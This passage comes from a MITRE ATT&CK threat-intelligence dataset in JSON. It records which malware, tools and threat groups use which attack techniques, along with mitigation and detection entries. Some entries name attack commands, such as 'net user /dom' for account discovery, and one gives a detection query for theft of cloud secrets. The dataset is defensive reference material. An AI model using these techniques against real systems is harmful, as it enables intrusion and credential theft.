Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) has been downloaded to victim's machines from OneDrive.(Citation: Proofpoint Bumblebee April 2022)","modified":"2022-08-22T15:51:47.597Z","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63b477c5-b88b-469d-8b2a-bc30507de54f","type":"relationship","created":"2020-07-17T15:48:51.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.048Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can discover active IP addresses, along with the machine name, within a targeted network.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63b6fd1d-65a7-4c94-8045-16fd198802f1","type":"relationship","created":"2020-08-11T21:15:35.488Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-11T21:15:35.488Z","description":"[RDAT](https://attack.mitre.org/software/S0495) can deobfuscate the base64-encoded and AES-encrypted files downloaded from the C2 server.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--63bce642-8e12-44c1-a805-e7390aef23e7","created":"2024-03-25T19:14:01.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"},{"source_name":"SentinelOne SocGholish Infrastructure November 2022","description":"Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.","url":"https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/"},{"source_name":"Red Canary SocGholish March 2024","description":"Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.","url":"https://redcanary.com/threat-detection-report/threats/socgholish/"},{"source_name":"Secureworks Gold Prelude Profile","description":"Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-prelude"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-26T18:37:02.958Z","description":"[Mustard Tempest](https://attack.mitre.org/groups/G1020) operates a global network of compromised websites that redirect into a traffic distribution system (TDS) to select victims for a fake browser update page.(Citation: Secureworks Gold Prelude Profile)(Citation: SocGholish-update)(Citation: SentinelOne SocGholish Infrastructure November 2022)(Citation: Red Canary SocGholish March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63c952f9-1fec-46db-a2f3-f87114180f25","type":"relationship","created":"2021-03-18T14:16:06.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Static Kitten February 2021","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021."}],"modified":"2021-03-18T14:16:06.112Z","description":"[ConnectWise](https://attack.mitre.org/software/S0591) can record video on remote hosts.(Citation: Anomali Static Kitten February 2021)","relationship_type":"uses","source_ref":"tool--842976c7-f9c8-41b2-8371-41dc64fbe261","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63c9cdd8-0e64-46dd-9459-3d64828b0cc7","type":"relationship","created":"2019-07-19T14:30:22.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/jj852168.aspx","description":"Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.","source_name":"TechNet Server Operator Scheduled Task"}],"modified":"2021-04-20T16:31:11.671Z","description":"Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--63cda638-c359-470f-b509-446be108b607","created":"2024-01-23T19:19:14.997Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T19:19:14.997Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has run `net user %USER% /dom` for account discovery.(Citation: Kaspersky ToddyCat Check Logs October 2023)\n","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--63cefb36-bc55-4536-b7f9-c80f9e3f69b3","created":"2023-05-17T19:41:49.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-24T18:37:25.644Z","description":"[KOPILUWAK](https://attack.mitre.org/software/S1075) can enumerate current running processes on the targeted machine.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--63d2756f-21af-420d-beaa-a334cb213e80","created":"2024-02-09T20:28:28.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-19T17:13:28.096Z","description":"[STEADYPULSE](https://attack.mitre.org/software/S1112) is a web shell that can enable the execution of arbitrary commands on compromised web servers.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--ca0fead6-5277-427a-825b-42ff1fbe476e","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63d46401-d4b4-4b92-81ee-41956a212523","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63d53308-7d7d-4777-a1cc-c7100735609c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant M Trends 2016","url":"https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf","description":"Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019."},{"url":"https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html","description":"Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.","source_name":"FireEye Bootkits"},{"source_name":"FireEye BOOTRASH SANS","url":"https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1498163766.pdf","description":"Glyer, C.. (2017, June 22). Boot What?. Retrieved May 4, 2020."}],"modified":"2020-05-07T22:29:30.674Z","description":"[BOOTRASH](https://attack.mitre.org/software/S0114) is a Volume Boot Record (VBR) bootkit that uses the VBR to maintain persistence.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS)","relationship_type":"uses","source_ref":"malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3","target_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63dc6102-8405-4273-8e73-7df7ef6c2514","type":"relationship","created":"2019-06-21T17:23:28.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2019-07-14T21:02:01.433Z","description":"[PowerStallion](https://attack.mitre.org/software/S0393) modifies the MAC times of its local log files to match that of the victim's desktop.ini file.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63de6e73-7ec5-4cae-8d08-9c64428b52bf","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","source_name":"Proofpoint TA459 April 2017"}],"modified":"2019-03-25T17:00:47.418Z","description":"(Citation: Proofpoint TA459 April 2017)","relationship_type":"uses","source_ref":"intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481","target_ref":"malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63dec489-68ad-46c2-9972-55394ad7601a","type":"relationship","created":"2021-03-08T18:27:58.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PTSecurity Higaisa 2020","url":"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/","description":"PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."},{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."}],"modified":"2021-03-30T20:16:51.191Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) collected the system volume serial number, GUID, and computer name.(Citation: PTSecurity Higaisa 2020)(Citation: Malwarebytes Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63df0dac-898b-4d5c-8c97-1f4c6ae650ba","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor script processes, such as `cscript that may be used to proxy execution of malicious files.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63e149cc-a5a3-496b-b8c3-4e428f0d5fb9","type":"relationship","created":"2021-10-01T21:53:33.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.576Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) can uninstall itself.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63e47b19-5fe4-485d-9544-ab90a66edf6d","type":"relationship","created":"2021-12-29T15:08:44.477Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Tomiris Sep 2021","url":"https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/","description":"Kwiatkoswki, I. and Delcher, P. (2021, September 29). DarkHalo After SolarWinds: the Tomiris connection. Retrieved December 27, 2021."}],"modified":"2022-03-09T20:42:06.899Z","description":"[Tomiris](https://attack.mitre.org/software/S0671) has been packed with UPX.(Citation: Kaspersky Tomiris Sep 2021)","relationship_type":"uses","source_ref":"malware--327b3a25-9e60-4431-b3b6-93b9c64eacbc","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63e937c3-f395-4146-8061-6c00550bcd6a","type":"relationship","created":"2020-11-09T14:52:45.824Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-09T14:52:45.824Z","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) has been delivered via malicious documents with embedded macros.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63eceedb-657b-47a0-a437-983aad5d82e0","type":"relationship","created":"2021-12-06T23:14:44.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-12-06T23:14:44.919Z","description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has executed a PowerShell command to download a file to the system.(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63ee7d80-372e-4841-87a4-825cb5dd7058","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.justice.gov/file/1080281/download","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","source_name":"DOJ GRU Indictment Jul 2018"}],"modified":"2020-03-30T01:46:20.278Z","description":"[APT28](https://attack.mitre.org/groups/G0007) used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks.(Citation: DOJ GRU Indictment Jul 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63f0007e-833e-4d6a-b79e-873525979f40","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-16T16:36:13.663Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) attempts to exploit privilege escalation vulnerabilities CVE-2010-0232 or CVE-2010-4398.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63f08c72-9be6-45d5-9c60-2a4794795760","type":"relationship","created":"2021-09-29T15:41:18.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Andariel Ransomware June 2021","url":"https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/","description":"Park, S. (2021, June 15). Andariel evolves to target South Korea with ransomware. Retrieved September 29, 2021."}],"modified":"2021-09-29T15:41:18.404Z","description":"[Andariel](https://attack.mitre.org/groups/G0138) has used tasklist to enumerate processes and find a specific string.(Citation: Kaspersky Andariel Ransomware June 2021)","relationship_type":"uses","source_ref":"intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--63f16da3-80c8-40e5-ab7d-638446f2b509","created":"2023-09-25T12:42:31.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T14:48:12.381Z","description":"Monitor for API calls and CLI commands that attempt to enumerate and fetch credential material from the secrets manager, such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure. Alert on any suspicious usages of these commands, such as an account or service generating an unusually high number of secret requests.\n\nAnalytic 1 - High volume of secret requests from unusual accounts or services.\n\n index=cloud_logs sourcetype IN (\"aws:cloudtrail\", \"gcp:logging\", \"azure:activity\")\n(eventName IN (\"GetSecretValue\", \"gcloud secrets describe\", \"az key vault secret show\"))\n| eval User=coalesce(userIdentity.arn, protoPayload.authenticationInfo.principalEmail, claims.user)\n| eval Service=coalesce(eventSource, protoPayload.serviceName, claims.aud)\n| eval AccountType=case(\n match(User, \"root|admin|superuser\"), \"High-Privilege\",\n match(User, \"serviceaccount|svc|automation\"), \"Service-Account\",\n true(), \"Standard-User\"\n)\n| eval Platform=case(\n sourcetype==\"aws:cloudtrail\", \"AWS\",\n sourcetype==\"gcp:logging\", \"GCP\",\n sourcetype==\"azure:activity\", \"Azure\",\n true(), \"Unknown\"\n)\n| where AccountType != \"High-Privilege\" \n\nAnalytic 2 - Cloud Service Enumeration \n\n index=cloud_logs sourcetype IN (\"aws:cloudtrail\", \"gcp:logging\", \"azure:activity\") | search (sourcetype=\"aws:cloudtrail\" eventName=\"GetSecretValue\" \n OR sourcetype=\"gcp:pubsub:message\" methodName=\"google.iam.credentials.v1.*\" \n OR sourcetype=\"azure:eventhub\" operationName=\"Microsoft.KeyVault/vaults/secrets/read\")","relationship_type":"detects","source_ref":"x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac","target_ref":"attack-pattern--cfb525cc-5494-401d-a82b-2539ca46a561","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--63f6acf5-04d5-4a77-874b-77c6416c5701","created":"2022-06-01T18:34:10.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Tarrask scheduled task","description":"Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T14:45:30.487Z","description":"[Tarrask](https://attack.mitre.org/software/S1011) leverages token theft to obtain `lsass.exe` security permissions.(Citation: Tarrask scheduled task) ","relationship_type":"uses","source_ref":"malware--988976ff-beeb-4fb5-b07d-ca7437ea66e8","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63fe9e49-2f94-4a45-97b9-f64519a0c497","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor executed commands and arguments that can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64006d31-51ea-4908-8b09-2650fdc6b4f8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:18.996Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) collects registered owner details by using the commands systeminfo and net config workstation.(Citation: Symantec Orangeworm April 